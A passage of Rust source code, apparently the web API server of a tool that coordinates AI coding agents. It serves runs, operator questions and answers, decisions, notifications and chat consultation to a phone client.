8143                    if let Some(revs) = revs {
8144                        let payload = serde_json::json!({
8145                            "queue_rev": revs.0,
8146                            "runs_rev": revs.1,
8147                            "questions_rev": revs.2,
8148                            "talks_rev": revs.3,
8149                            "notifications_rev": revs.4,
8150                            "loop_rev": revs.5,
8151                        });
8152                        if let Ok(event) = Event::default().event("change").json_data(payload) {
8153                            if tx.send(event).await.is_err() {
8154                                break;
8155                            }
8156                        }
8157                    }
8158                }
8159                Err(tokio::sync::broadcast::error::RecvError::Closed) => {
8160                    break;
8161                }
8162            }
8163        }
8164    });
8165
8166    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
8167        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
8168}
8169
8170/// Run ids under `runs`, newest first.
8171///
8172/// Rooted at an explicit directory rather than calling [`run::list_ids`],
8173/// which reads the process-global home: the server has to be drivable against
8174/// a temp directory for any of this to be testable.
8175fn run_ids(runs: &FsPath) -> Vec<String> {
8176    let mut ids: Vec<String> = std::fs::read_dir(runs)
8177        .into_iter()
8178        .flatten()
8179        .flatten()
8180        .filter(|e| e.path().join("run.json").is_file())
8181        .map(|e| e.file_name().to_string_lossy().into_owned())
8182        .collect();
8183    // Ids start with a sortable timestamp.
8184    ids.sort_unstable_by(|a, b| b.cmp(a));
8185    ids
8186}
8187
8188/// Read one run's state from an explicit runs root.
8189fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
8190    let path = runs.join(id).join("run.json");
8191    let body =
8192        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
8193    let state: RunState =
8194        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
8195    // The same migration `RunState::load` applies, so a record from the
8196    // previous schema reads here as it does everywhere else (an origin-less
8197    // run shows as "origin unknown") instead of vanishing from the phone the
8198    // moment the schema is bumped.
8199    run::migrate_schema(state)
8200}
8201
8202/// Runs on disk under `runs` whose state this build cannot parse - almost
8203/// always a schema bump, occasionally a run killed mid-write.
8204///
8205/// Exposed so every surface that reports on runs shares one count instead of
8206/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
8207/// `magi doctor` calls this directly rather than guessing at the same number
8208/// a second way.
8209#[must_use]
8210pub fn runs_unreadable(runs: &FsPath) -> usize {
8211    run_ids(runs)
8212        .into_iter()
8213        .filter(|id| read_run(runs, id).is_err())
8214        .count()
8215}
8216
8217fn plain_record_id(id: &str) -> bool {
8218    !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
8219}
8220
8221/// Expand an id or short id to exactly one run id.
8222fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
8223    if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
8224        return Ok(id.to_owned());
8225    }
8226    pick(run_ids(runs), id, "run")
8227}
8228
8229/// Expand an id or short id to exactly one task id.
8230fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
8231    if plain_record_id(id) && queue.path_of(id).is_file() {
8232        return Ok(id.to_owned());
8233    }
8234    let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
8235    pick(ids, id, "task")
8236}
8237
8238/// A question as the phone reads it.
8239///
8240/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
8241/// text already parsed into a node tree so the client never runs its own
8242/// markdown reader over agent-authored prose. A relative image path in it
8243/// resolves against this question's own panel asset route, which is the one
8244/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
8245/// separate, sandboxed document, but `detail` is rendered inline in the
8246/// operator's own page, so an image reference in it may only ever point at
8247/// files magi itself already serves for this question.
8248#[derive(Debug, Serialize)]
8249struct QuestionView {
8250    can_answer: bool,
8251    /// Imported consent remains history even while its effect is uncertain.
8252    history_only: bool,
8253    choice_effects: std::collections::BTreeMap<String, String>,
8254    record_revision: String,
8255    #[serde(flatten)]
8256    question: Question,
8257    detail_md: Vec<md::Node>,
8258    posting_view: Option<PostingView>,
8259    /// Each thread turn's body, parsed; same order as `question.thread`.
8260    thread_bodies_md: Vec<Vec<md::Node>>,
8261    /// Each thread turn's deputy note, parsed (`None` for a turn without
8262    /// one); same order as `question.thread`.
8263    thread_notes_md: Vec<Option<Vec<md::Node>>>,
8264    /// Is the ball in the agent's court right now?
8265    ///
8266    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
8267    /// [`Question::say`] - so this is the one field that tells the phone to
8268    /// disable the answer controls and show "waiting for the agent" instead of
8269    /// a card the owner can act on. Computed rather than stored on
8270    /// [`Question`] itself, on the same reasoning as `waiting` on
8271    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
8272    /// it here means the client never has to re-derive that rule.
8273    waiting_on_agent: bool,
8274    /// Who is waiting on this open question - see [`holder_of`]. Separate
8275    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
8276    /// anyone is there to take it.
8277    holder: Option<&'static str>,
8278    /// Whether `magi serve` can start a follow-up agent for a conductor
8279    /// question at all: false when `daemon.max_deputies = 0` or the config is
8280    /// unreadable. Separate from `holder`, which says who is listening now.
8281    deputies_enabled: bool,
8282    /// All starts were spent and no live holder remains. Display-only: the
8283    /// final attempt increments `starts` before running under its lease.
8284    deputy_exhausted: bool,
8285    text_delivery: crate::question_delivery::Availability,
8286    /// `question.run` is a task id (conductor / triage questions), not a run
8287    /// id, so the UI links it to the task page.
8288    run_is_task: bool,
8289    /// The existing chat this question's task came from, including settled
8290    /// questions - see [`crate::consult::associated_talk`].
8291    origin_chat: Option<String>,
8292    /// `origin_chat` is closed; consulting reopens it first.
8293    origin_chat_closed: bool,
8294    /// Consultation eligibility is separate from navigation to the chat.
8295    can_consult_chat: bool,
8296}
8297
8298#[derive(Debug, Serialize)]
8299struct PostingView {
8300    before_md: Vec<md::Node>,
8301    after_md: Vec<md::Node>,
8302    fields: Vec<crate::github_text::ComparisonView>,
8303}
8304
8305fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
8306    let comparison = question.posting_comparison.as_ref()?;
8307    if !comparison.matches_detail(&question.detail) {
8308        return None;
8309    }
8310    let mut ids = std::collections::BTreeSet::new();
8311    if comparison.fields.is_empty()
8312        || comparison
8313            .fields
8314            .iter()
8315            .flat_map(|f| &f.pairs)
8316            .any(|p| !ids.insert(p.id))
8317        || comparison
8318            .fields
8319            .iter()
8320            .flat_map(|f| &f.original_triggers)
8321            .any(|t| !ids.insert(t.id))
8322    {
8323        return None;
8324    }
8325    let fields = comparison
8326        .fields
8327        .iter()
8328        .map(|f| f.view(comparison.excerpt))
8329        .collect::<Option<Vec<_>>>()?;
8330    Some(PostingView {
8331        before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
8332        after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
8333        fields,
8334    })
8335}
8336
8337impl QuestionView {
8338    /// The view of `question`, reading who is waiting on it from `store`.
8339    ///
8340    /// `holder` needs the lease sidecar, which is why this is not a `From`.
8341    fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
8342        let base = md::ImageBase::QuestionPanel {
8343            id: question.id.clone(),
8344        };
8345        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
8346        Self {
8347            can_answer: question.can_answer(),
8348            history_only: store.held_reply(&question.id),
8349            choice_effects: question
8350                .choices
8351                .iter()
8352                .filter_map(|c| {
8353                    crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
8354                })
8355                .collect(),
8356            record_revision: question_record_revision(&question),
8357            detail_md: md::to_nodes(&question.detail, &base),
8358            posting_view: posting_view(&question, &base),
8359            thread_bodies_md: question
8360                .thread
8361                .iter()
8362                .map(|t| md::to_nodes(&t.body, &base))
8363                .collect(),
8364            thread_notes_md: question
8365                .thread
8366                .iter()
8367                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
8368                .collect(),
8369            deputy_exhausted: store.deputy_exhausted(&question),
8370            waiting_on_agent: question.waiting_on_agent(),
8371            holder,
8372            deputies_enabled: deputies_enabled(cfg, &question),
8373            text_delivery: crate::question_delivery::availability(store, &question, cfg),
8374            run_is_task: question.run_names_task(),
8375            origin_chat: None,
8376            origin_chat_closed: false,
8377            can_consult_chat: false,
8378            question,
8379        }
8380    }
8381
8382    /// Fill `origin_chat` from the queue and the talks.
8383    fn with_origin(
8384        mut self,
8385        tasks: &[crate::queue::Task],
8386        talks: &[Talk],
8387        watches: &[crate::release_watch::WatchState],
8388    ) -> Self {
8389        let consult = crate::consult::origin_talk(tasks, talks, &self.question);
8390        self.can_consult_chat = consult.is_some();
8391        let talk =
8392            crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
8393        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
8394        self.origin_chat = talk.map(|t| t.id);
8395        self
8396    }
8397}
8398
8399/// The config this repository resolves, or `None` when it cannot be read.
8400/// Discovering is git processes plus a config render, so a request that needs
8401/// it for many items takes it once and passes it down.
8402fn deputy_config(repo: &std::path::Path) -> Option<Config> {
8403    Config::discover(repo, None).ok().map(|(c, _)| c)
8404}
8405
8406/// Can `magi serve` start a deputy for this question under `cfg`?
8407fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
8408    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
8409}
8410
8411/// The views `GET /api/questions` answers. `load` runs at most once, however
8412/// many questions there are, and not at all when there are none.
8413fn question_views(
8414    qs: Vec<Question>,
8415    store: &ask::Questions,
8416    load: impl FnOnce() -> Option<Config>,
8417) -> Vec<QuestionView> {
8418    if qs.is_empty() {
8419        return Vec::new();
8420    }
8421    let cfg = load();
8422    qs.into_iter()
8423        .map(|q| QuestionView::of(q, store, cfg.as_ref()))
8424        .collect()
8425}
8426
8427/// Who is honestly waiting on an open question right now: `"asker"` (the
8428/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
8429/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
8430/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
8431/// up, or the question never had anyone listening (a conductor question or a
8432/// merge approval from before deputies, or not yet given one).
8433///
8434/// `None` for a question that is settled, and for one that is not an agent's
8435/// to wait on at all (a release notice).
8436fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
8437    if !q.status.open() {
8438        return None;
8439    }
8440    if q.cwd.is_none()
8441        && q.deputy.is_none()
8442        && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
8443    {
8444        return crate::deputy::kind_of(q).map(|_| "nobody");
8445    }
8446    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
8447        Some(_) if q.deputy.is_some() => "deputy",
8448        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
8449        Some(_) => "asker",
8450        None => "nobody",
8451    })
8452}
8453
8454/// `GET /api/questions`.
8455///
8456/// Everything, not just the open ones: an answered question is the record of a
8457/// decision, and the phone is where the operator goes back to check what they
8458/// told an agent at 3am. `ask::Questions::list` already ranks open first.
8459#[derive(serde::Serialize)]
8460struct DecisionView {
8461    id: String,
8462    task: String,
8463    run: Option<String>,
8464    chat: Option<String>,
8465    display: String,
8466    delivery_error: Option<String>,
8467    decision: crate::task_decision::Decision,
8468    attention: crate::task_decision::Attention,
8469    next_step: &'static str,
8470    last_observation: Option<String>,
8471}
8472
8473impl DecisionView {
8474    fn from_inquiry(inquiry: crate::task_inquiry::Inquiry) -> Option<Self> {
8475        let attention = inquiry.attention()?;
8476        let last_observation = inquiry
8477            .decision
8478            .as_ref()?
8479            .last_observation
8480            .as_ref()
8481            .map(|o| o.describe());
8482        Some(Self {
8483            id: inquiry.id,
8484            task: inquiry.task,
8485            run: inquiry.run,
8486            chat: inquiry.delivered_to,
8487            display: inquiry.display,
8488            delivery_error: inquiry.delivery_error,
8489            decision: inquiry.decision?,
8490            attention,
8491            next_step: match attention {
8492                crate::task_decision::Attention::OwnerChoice => {
8493                    "Discuss the choice in the owning chat."
8494                }
8495                crate::task_decision::Attention::ReceiptCheck => {
8496                    "Check durable receipts before retrying; do not replay the request."
8497                }
8498                crate::task_decision::Attention::InFlight => {
8499                    "Wait for the effect or execution-start receipt."
8500                }
8501                crate::task_decision::Attention::ReleaseFollowup => {
8502                    "Inspect the remaining release work independently of the original merge."
8503                }
8504                crate::task_decision::Attention::StaleTarget => {
8505                    "Inspect the changed or closed target; do not approve an old head."
8506                }
8507                crate::task_decision::Attention::Resolved => {
8508                    "Inspect the recorded closure reason in history."
8509                }
8510            },
8511            last_observation,
8512        })
8513    }
8514}
8515
8516#[derive(serde::Serialize)]
8517struct DecisionsView {
8518    items: Vec<DecisionView>,
8519    unreadable: usize,
8520    migration_errors: Vec<crate::task_chat::MigrationIssue>,
8521}
8522
8523// Read-only: list visits and inquiry links never create owner decisions,
8524// delivery receipts or effect acknowledgements.
8525async fn decisions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<DecisionsView>> {
8526    blocking(move || {
8527        let (items, unreadable) = crate::task_inquiry::Outbox::at(&ui.home).list_readable()?;
8528        let mut views: Vec<_> = items
8529            .into_iter()
8530            .filter_map(DecisionView::from_inquiry)
8531            .collect();
8532        views.sort_by_key(|view| {
8533            (
8534                view.decision.status == crate::task_decision::Status::Resolved,
8535                view.id.clone(),
8536            )
8537        });
8538        Ok(Json(DecisionsView {
8539            items: views,
8540            unreadable,
8541            migration_errors: crate::task_chat::migration_issues(&ui.home),
8542        }))
8543    })
8544    .await
8545}
8546
8547async fn decision_get(
8548    State(ui): State<Arc<Ui>>,
8549    Path(id): Path<String>,
8550) -> ApiResult<Json<DecisionView>> {
8551    blocking(move || {
8552        let inquiry = crate::task_inquiry::Outbox::at(&ui.home).get(&id)?;
8553        DecisionView::from_inquiry(inquiry)
8554            .map(Json)
8555            .ok_or_else(|| ApiError::not_found("inquiry is informational"))
8556    })
8557    .await
8558}
8559
8560async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8561    blocking(move || {
8562        let questions = ui.questions.list();
8563        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8564        Ok(Json(
8565            question_views(questions, &ui.questions, || deputy_config(&ui.repo))
8566                .into_iter()
8567                .map(|view| view.with_origin(&tasks, &talks, &watches))
8568                .collect(),
8569        ))
8570    })
8571    .await
8572}
8573
8574/// Question content and answer controls never wait for task/chat provenance.
8575async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
8576    blocking(move || {
8577        Ok(Json(question_views(
8578            ui.questions.list(),
8579            &ui.questions,
8580            || deputy_config(&ui.repo),
8581        )))
8582    })
8583    .await
8584}
8585
8586fn question_record_revision(question: &Question) -> String {
8587    use std::hash::{Hash as _, Hasher as _};
8588    let mut hash = std::hash::DefaultHasher::new();
8589    serde_json::to_vec(question)
8590        .expect("serializable question")
8591        .hash(&mut hash);
8592    format!("{:016x}", hash.finish())
8593}
8594
8595#[derive(Serialize)]
8596struct QuestionOriginView {
8597    id: String,
8598    record_revision: String,
8599    origin_chat: Option<String>,
8600    origin_chat_closed: bool,
8601    can_consult_chat: bool,
8602}
8603
8604async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
8605    blocking(move || {
8606        let questions = ui.questions.list();
8607        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8608        Ok(Json(
8609            questions
8610                .into_iter()
8611                .map(|question| {
8612                    let consult = crate::consult::origin_talk(&tasks, &talks, &question);
8613                    let can_consult_chat = consult.is_some();
8614                    let talk = crate::consult::associated_talk_with_watches(
8615                        &tasks, &talks, &question, &watches,
8616                    );
8617                    QuestionOriginView {
8618                        record_revision: question_record_revision(&question),
8619                        id: question.id,
8620                        origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
8621                        origin_chat: talk.map(|talk| talk.id),
8622                        can_consult_chat,
8623                    }
8624                })
8625                .collect(),
8626        ))
8627    })
8628    .await
8629}
8630
8631type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
8632
8633/// Only the task ancestry and chats these questions actually reference. Run
8634/// mappings share the reconciled queue index; exact task references bypass it.
8635/// No question means no task/chat I/O, including no index reconciliation.
8636fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
8637    fn task_for_run(
8638        ui: &Ui,
8639        index: &mut Option<Vec<Arc<TaskRelation>>>,
8640        run: &str,
8641        loaded: &HashMap<String, Task>,
8642    ) -> ApiResult<Option<Task>> {
8643        if !plain_record_id(run) {
8644            return Ok(None);
8645        }
8646        if index.is_none() {
8647            *index = Some(ui.indexed_tasks()?);
8648        }
8649        Ok(index
8650            .as_ref()
8651            .expect("loaded index")
8652            .iter()
8653            .find(|task| task.runs.iter().any(|id| id == run))
8654            .and_then(|task| {
8655                loaded
8656                    .get(&task.id)
8657                    .cloned()
8658                    .or_else(|| ui.queue.get(&task.id).ok())
8659            })
8660            .filter(|task| task.runs.iter().any(|id| id == run)))
8661    }
8662    let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
8663        plain_record_id(id)
8664            .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
8665            .flatten()
8666            .filter(|task| task.id == id)
8667    };
8668    let watches = crate::release_watch::states_for_questions(&ui.home, questions);
8669    let mut index = None;
8670    let mut tasks = HashMap::new();
8671    let mut talks = HashMap::new();
8672    for question in questions {
8673        for reference in crate::consult::question_task_refs(question, &watches) {
8674            let mut current = match reference {
8675                crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
8676                crate::consult::QuestionTaskRef::Run(id) => {
8677                    task_for_run(ui, &mut index, id, &tasks)?
8678                }
8679            };
8680            let mut seen = HashSet::new();
8681            for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
8682                let Some(task) = current.take() else {
8683                    break;
8684                };
8685                if !seen.insert(task.id.clone()) {
8686                    break;
8687                }
8688                let chat = task.chat_talk().map(str::to_owned);
8689                let followup = task.followup.clone();
8690                tasks.insert(task.id.clone(), task);
8691                if let Some(chat) = chat {
8692                    if plain_record_id(&chat)
8693                        && !talks.contains_key(&chat)
8694                        && let Ok(talk) = ui.talks.get(&chat)
8695                    {
8696                        talks.insert(chat, talk);
8697                    }
8698                    break;
8699                }
8700                let Some(followup) = followup else {
8701                    break;
8702                };
8703                current = match followup.origin_task {
8704                    Some(id) => direct_task(&id, &tasks),
8705                    None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
8706                };
8707            }
8708        }
8709    }
8710    let mut tasks: Vec<Task> = tasks.into_values().collect();
8711    tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
8712    Ok((tasks, talks.into_values().collect(), watches))
8713}
8714
8715/// `GET /api/notifications`: not dismissed, newest first, with the unread
8716/// count so the badge and the list cannot disagree.
8717async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8718    blocking(move || {
8719        let items = ui.notices.list();
8720        let unread = items.iter().filter(|n| n.unread()).count();
8721        let items: Vec<_> = items
8722            .into_iter()
8723            .map(|n| {
8724                let question = crate::notices::answerable_question(&n, &ui.questions);
8725                let mut item = serde_json::to_value(n)?;
8726                item["answerable_question"] = serde_json::json!(question);
8727                Ok(item)
8728            })
8729            .collect::<anyhow::Result<_>>()?;
8730        Ok(Json(
8731            serde_json::json!({ "unread": unread, "items": items }),
8732        ))
8733    })
8734    .await
8735}
8736
8737fn notice_error(e: anyhow::Error) -> ApiError {
8738    // An unknown or malformed id and a vanished file are the same answer to
8739    // the phone: that notification is gone.
8740    ApiError::not_found(format!("{e:#}"))
8741}
8742
8743/// `POST /api/notifications/{id}/read`.
8744async fn notification_read(
8745    State(ui): State<Arc<Ui>>,
8746    Path(id): Path<String>,
8747) -> ApiResult<Json<Notice>> {
8748    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
8749}
8750
8751/// `POST /api/notifications/{id}/dismiss`.
8752async fn notification_dismiss(
8753    State(ui): State<Arc<Ui>>,
8754    Path(id): Path<String>,
8755) -> ApiResult<Json<Notice>> {
8756    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
8757}
8758
8759/// `POST /api/notifications/read-all`.
8760async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
8761    blocking(move || {
8762        let changed = ui.notices.mark_all_read()?;
8763        Ok(Json(serde_json::json!({ "marked": changed })))
8764    })
8765    .await
8766}
8767
8768/// The body of `POST /api/questions/{id}/answer`.
8769///
8770/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
8771/// a bad request rather than a guess: an answer magi invented is worse than a
8772/// question left open.
8773#[derive(Debug, Default, Deserialize)]
8774#[serde(default, deny_unknown_fields)]
8775struct NewAnswer {
8776    choice: Option<String>,
8777    text: Option<String>,
8778    talk: Option<String>,
8779    head: Option<String>,
8780}
8781
8782async fn question_answer(
8783    State(ui): State<Arc<Ui>>,
8784    Path(id): Path<String>,
8785    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
8786) -> ApiResult<Json<QuestionView>> {
8787    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8788    let answer = match (body.choice, body.text) {
8789        (Some(c), None) => Answer::Choice(c),
8790        (None, Some(t)) => Answer::Text(t),
8791        (Some(_), Some(_)) => {
8792            return Err(ApiError::bad_request(
8793                "send either `choice` or `text`, not both",
8794            ));
8795        }
8796        (None, None) => {
8797            return Err(ApiError::bad_request("send a `choice` or a `text`"));
8798        }
8799    };
8800
8801    blocking(move || {
8802        let id = resolve_question(&ui.questions, &id)?;
8803        let q = ui
8804            .questions
8805            .get(&id)
8806            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8807        if !q.can_answer() {
8808            // Answered from the terminal, or by another phone, in between the
8809            // list and the tap. The UI shows the recorded answer rather than an
8810            // error, so it needs the record, not just the status.
8811            return Err(ApiError::conflict(format!(
8812                "question {} is already {}",
8813                q.short(),
8814                q.status.as_str()
8815            )));
8816        }
8817        // `Question::answer` owns the rules - an unoffered choice, free text on
8818        // a multiple-choice question, an empty reply - so the route does not
8819        // restate them and cannot drift from the CLI's behaviour.
8820        let cfg = deputy_config(&ui.repo);
8821        let (q, ()) = ui
8822            .questions
8823            .update(&q.id, |r| {
8824                let merge = matches!(&answer, ask::Answer::Choice(c) if c == crate::land::APPROVE);
8825                // Buttons retain their displayed chat/head binding. A direct
8826                // decision does not require a button or a prior persona offer.
8827                if r.routed_task.is_some()
8828                    && r.merge_target.is_some()
8829                    && merge
8830                    && (body.talk.is_some() || body.head.is_some())
8831                {
8832                    let talk_id = body
8833                        .talk
8834                        .as_deref()
8835                        .context("approval button requires its chat")?;
8836                    let head = body
8837                        .head
8838                        .as_deref()
8839                        .context("approval button requires the displayed head")?;
8840                    let talk = ui.talks.get(talk_id)?;
8841                    anyhow::ensure!(talk.status.open(), "approval chat is closed");
8842                    r.answer_chat_button(answer, talk_id, head)
8843                } else {
8844                    r.answer(answer)
8845                }
8846            })
8847            .map_err(ApiError::bad_request_from)?;
8848        let (tasks, talks, watches) =
8849            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8850        Ok(Json(
8851            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8852        ))
8853    })
8854    .await
8855}
8856
8857/// A dedicated status avoids the client's settled-question 409 handling.
8858fn question_text_error(e: anyhow::Error) -> ApiError {
8859    let reason = e
8860        .downcast_ref::<crate::question_delivery::TextUnavailable>()
8861        .map(|e| e.reason);
8862    let error = ApiError::bad_request_from(e);
8863    if let Some(reason) = reason {
8864        ApiError {
8865            text_reason: Some(reason),
8866            ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
8867        }
8868    } else {
8869        error
8870    }
8871}
8872
8873/// The body of `POST /api/questions/{id}/say`.
8874#[derive(Debug, Deserialize)]
8875#[serde(deny_unknown_fields)]
8876struct NewSay {
8877    body: String,
8878}
8879
8880/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
8881///
8882/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
8883/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
8884/// file, so there is no turn to serialize against and no
8885/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
8886/// is a *different* process - the run parked behind `magi ask` - and picks
8887/// the reply up on its own poll of the very same file, same as an answer
8888/// does.
8889async fn question_say(
8890    State(ui): State<Arc<Ui>>,
8891    Path(id): Path<String>,
8892    body: std::result::Result<Json<NewSay>, JsonRejection>,
8893) -> ApiResult<Json<QuestionView>> {
8894    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8895    blocking(move || {
8896        let id = resolve_question(&ui.questions, &id)?;
8897        let q = ui
8898            .questions
8899            .get(&id)
8900            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8901        if !q.status.open() {
8902            // Same granularity as `question_answer`: answered or abandoned in
8903            // between the list and the tap is not this route's error to
8904            // explain any differently.
8905            return Err(ApiError::conflict(format!(
8906                "question {} is already {}",
8907                q.short(),
8908                q.status.as_str()
8909            )));
8910        }
8911        // `Question::say` owns the one rule that matters here - an empty
8912        // message tells the agent nothing - so the route does not restate it.
8913        let cfg = deputy_config(&ui.repo);
8914        let (q, ()) = ui
8915            .questions
8916            .update(&q.id, |r| {
8917                if body.body.trim().is_empty() {
8918                    return r.say(body.body);
8919                }
8920                crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
8921                r.say(body.body)
8922            })
8923            .map_err(question_text_error)?;
8924        let (tasks, talks, watches) =
8925            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8926        Ok(Json(
8927            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8928        ))
8929    })
8930    .await
8931}
8932
8933/// A disconnected request or a replacing listener cannot interrupt the short
8934/// transaction between persistence and detached worker publication.
8935async fn admitted<T: Send + 'static>(
8936    admission: AdmissionGuard,
8937    work: impl Future<Output = ApiResult<T>> + Send + 'static,
8938) -> ApiResult<T> {
8939    tokio::spawn(async move {
8940        let result = work.await;
8941        drop(admission);
8942        result
8943    })
8944    .await
8945    .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
8946}
8947
8948/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
8949/// came from. The question stays open: the chat agent answers it with `magi
8950/// answer`, or puts the decision to the owner in the conversation.
8951///
8952/// Answers 202 and runs the turn in the background, like every route that
8953/// spends agent calls. The text is queued as a draft of the existing talk, and
8954/// the turn goes through the talk's own gate and session; no seat or waiter is
8955/// started here.
8956async fn question_consult(
8957    State(ui): State<Arc<Ui>>,
8958    Path(id): Path<String>,
8959) -> ApiResult<(StatusCode, Json<QuestionView>)> {
8960    let admission = ui.begin_admission()?;
8961    admitted(admission, async move {
8962        let (q, tasks, talks, watches, talk, cfg) = blocking({
8963            let ui = Arc::clone(&ui);
8964            move || {
8965                let id = resolve_question(&ui.questions, &id)?;
8966                let q = ui.questions.get(&id).map_err(|e| {
8967                    ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
8968                })?;
8969                if !q.status.open() {
8970                    return Err(ApiError::conflict(format!(
8971                        "question {} is already {}",
8972                        q.short(),
8973                        q.status.as_str()
8974                    )));
8975                }
8976                let (tasks, talks, watches) =
8977                    question_origin_inputs(&ui, std::slice::from_ref(&q))?;
8978                let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
8979                    return Err(ApiError::conflict(format!(
8980                        "question {} has no chat to ask",
8981                        q.short()
8982                    )));
8983                };
8984                // Read the config before `begin` saves anything: a failure here
8985                // must leave no consult record or draft behind, or a retry would
8986                // see `fresh == false` and never start the turn.
8987                let cfg = if q.consult.is_none() {
8988                    Some(Config::discover(&talk.repo, None)?.0)
8989                } else {
8990                    None
8991                };
8992                Ok((q, tasks, talks, watches, talk, cfg))
8993            }
8994        })
8995        .await?;
8996        let _publication = crate::chat_worker::publication_guard(&ui.talks, &talk.id)
8997            .await
8998            .map_err(ApiError::from)?;
8999        let (view, reclaimed, submitted) = blocking({
9000            let ui = Arc::clone(&ui);
9001            move || {
9002                let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
9003                let claim = if fresh {
9004                    match ui.begin_queued_talk_turn(&talk.id)? {
9005                        Some(turn_guard) => {
9006                            let talk = ui.talks.get(&talk.id)?;
9007                            let cfg = match cfg {
9008                                Some(cfg) => cfg,
9009                                None => Config::discover(&talk.repo, None)?.0,
9010                            };
9011                            Some((talk, cfg, turn_guard))
9012                        }
9013                        None => None,
9014                    }
9015                } else {
9016                    None
9017                };
9018                let q = ui.questions.get(&q.id)?;
9019                let cfg = deputy_config(&ui.repo);
9020                let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
9021                    .with_origin(&tasks, &talks, &watches);
9022                Ok((view, claim, fresh.then_some(talk.id)))
9023            }
9024        })
9025        .await?;
9026        #[cfg(not(test))]
9027        {
9028            if let Some(id) = submitted {
9029                crate::chat_worker::spawn_turn(&ui.talks, &id)
9030                    .await
9031                    .map_err(ApiError::from)?;
9032            }
9033            drop(reclaimed);
9034        }
9035        #[cfg(test)]
9036        let _ = submitted;
9037        #[cfg(test)]
9038        if let Some((talk, cfg, turn_guard)) = reclaimed {
9039            let talks = ui.talks.clone();
9040            let id = talk.id.clone();
9041            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
9042        }
9043        Ok((StatusCode::ACCEPTED, Json(view)))
9044    })
